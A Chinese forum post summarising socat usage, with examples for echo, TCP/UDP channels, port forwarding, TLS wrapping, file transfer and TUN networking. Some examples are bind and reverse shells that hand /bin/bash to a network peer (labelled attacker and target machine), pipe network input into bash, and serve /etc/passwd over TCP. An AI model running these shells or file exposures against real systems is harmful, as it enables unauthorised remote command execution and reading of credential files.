ToB企服应用市场:ToB评测及商务社交产业平台

标题: Socat 命令总结 [打印本页]

作者: 铁佛    时间: 2024-12-25 01:05
标题: Socat 命令总结
事以密成,语以泄败。
导航

先容

Socat 是一个功能强大的网络工具(相当于是增强版 netcat),它可以在两个数据流之间建立通道,且支持的数据流类型非常丰富,比方:TCP、UDP、TUN、SOCKS 代理、UNIX 套接字、STDIO 尺度输入输出流、PIPE 管道流、OPEN 文件流、EXEC/SHELL/SYSTEM 进程流、OPENSSl 加密流等。
基本语法
  1. socat [OPTION] <ADDRESS_1>[,OPTS] <ADDRESS_2>[,OPTS]
复制代码
用法示例

1. 回显输入
  1. socat - -        #STDIO STDIO
复制代码
说明:在终端输入什么就输出什么。

2. 回显输入 over TCP/UDP
  1. socat - tcp-listen:1234,fork         #STDIO TCP        服务端监听1234端口
  2. socat - tcp:127.0.0.1:1234                #STDIO TCP        客户端连接1234端口
  3. socat - udp4-listen:1234,bind=192.168.56.20,fork        #STDIO UDP        服务端仅监听192.168.56.20接口的1234端口
  4. socat - udp4:192.168.56.20:1234                                                #STDIO UDP        客户端连接1234端口
复制代码
说明:客户端将输入的数据通过 tcp/udp 通道传输给服务端,而服务端又将吸收的数据再传输给尺度输出。


3. 正向连接 shell
  1. socat tcp-listen:1234,fork exec:/bin/bash        #TCP EXEC        服务端监听1234端口
  2. socat - tcp:127.0.0.1:1234                                        #STDIO TCP        客户端连接1234端口
复制代码
说明:服务端将吸收到的数据传输给 bash 进程,bash 处理之后将结果返回给客户端的尺度输出。,

4. 反向连接 shell
  1. socat - tcp-listen:1234,fork                                #STDIO TCP        攻击机监听1234端口
  2. socat EXEC:/bin/bash tcp:127.0.0.1:1234                #EXEC TCP        靶机连接1234端口
  3. #socat - tcp:127.0.0.1:1234                                        #STDIO TCP        靶机连接1234端口
复制代码
说明:攻击机将输入的数据传输给连接它的靶机,而靶机又将数据转达给了 bash 进程,经其处理之后返回结果到攻击机。【注意:如果有多个靶机同时连接攻击机,那么攻击机的输入会随机被转达给其中一个靶机,而不是同时转达给所有靶机。】

5. 端口转发
  1. socat tcp-listen:1234,fork tcp:127.0.0.1:8080        #TCP TCP
复制代码
说明:将本地监听端口 tcp/1234 吸收的数据转发到本地的 tcp/8080 端口。【转发到远端亦行】

6. 网络服务
  1. socat -U tcp-listen:1234,fork open:test.txt                #TCP OPEN
复制代码
说明:将文件内容作为服务响应返回。【注意:此时最好利用-U单向模式(右向左),否则哀求可能会覆盖文件内容。】

7. 文件传输
  1. socat -U tcp-listen:1234,fork open:/etc/passwd                                #TCP OPEN        发送端
  2. socat -u tcp:127.0.0.1:1234 open:./passwd.txt,create                #TCP OPEN        接收端
复制代码
说明:发送端将文件数据传输给连接到监听端口的吸收端,吸收端又将收到的数据打包到新文件中。【注意单向模式的利用】

8. 管道传输
  1. echo ok | socat - tcp-listen:1234,fork        #PIPE TCP
  2. #socat - tcp-listen:1234,fork | bash        #TCP PIPE
复制代码
说明:(1)将 echo 输出的数据通过管道转达给连向监听端口的终端;(2)将监听端口吸收到的数据转达给 bash 进程处理。


9. 加密传输
  1. socat openssl-listen:8443,cert=ssl-cert.pem,key=ssl-cert.key,verify=0,fork tcp:127.0.0.1:8080        #OPENSSL TCP OPENSSL 服务端
  2. #socat - openssl:127.0.0.1:8443,verify=0        #OPENSSL 客户端
  3. #注:当服务端不是转发给 http 服务时,客户端需要此命令配合使用,示例截图中的 curl 命令拥有 openssl 客户端的功能故示例没有用到该命令。
  4. #注:功能测试时,证书的生成可以使用 make-ssl-cert /usr/share/ssl-cert/ssleay.cnf ssl-cert 命令生成。
复制代码
说明:监听 HTTPS 哀求并将其转发到本地的 HTTP 服务。

10. TUN 网络
  1. socat tcp-listen:1234,fork tun:192.168.1.1/24,up                        #TCP TUN        服务端
  2. socat tcp:192.168.56.20:1234 tun:192.168.1.2/24,up                        #TCP TUN        客户端
复制代码
说明:所有连接到 TUN 服务端的终端,全都接入了一个自建的 TUN 网络之中,从而实现了异地组网。【在 Linux 中测试是乐成的,但是在 Windows 中测试是失败的。】

杂项


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4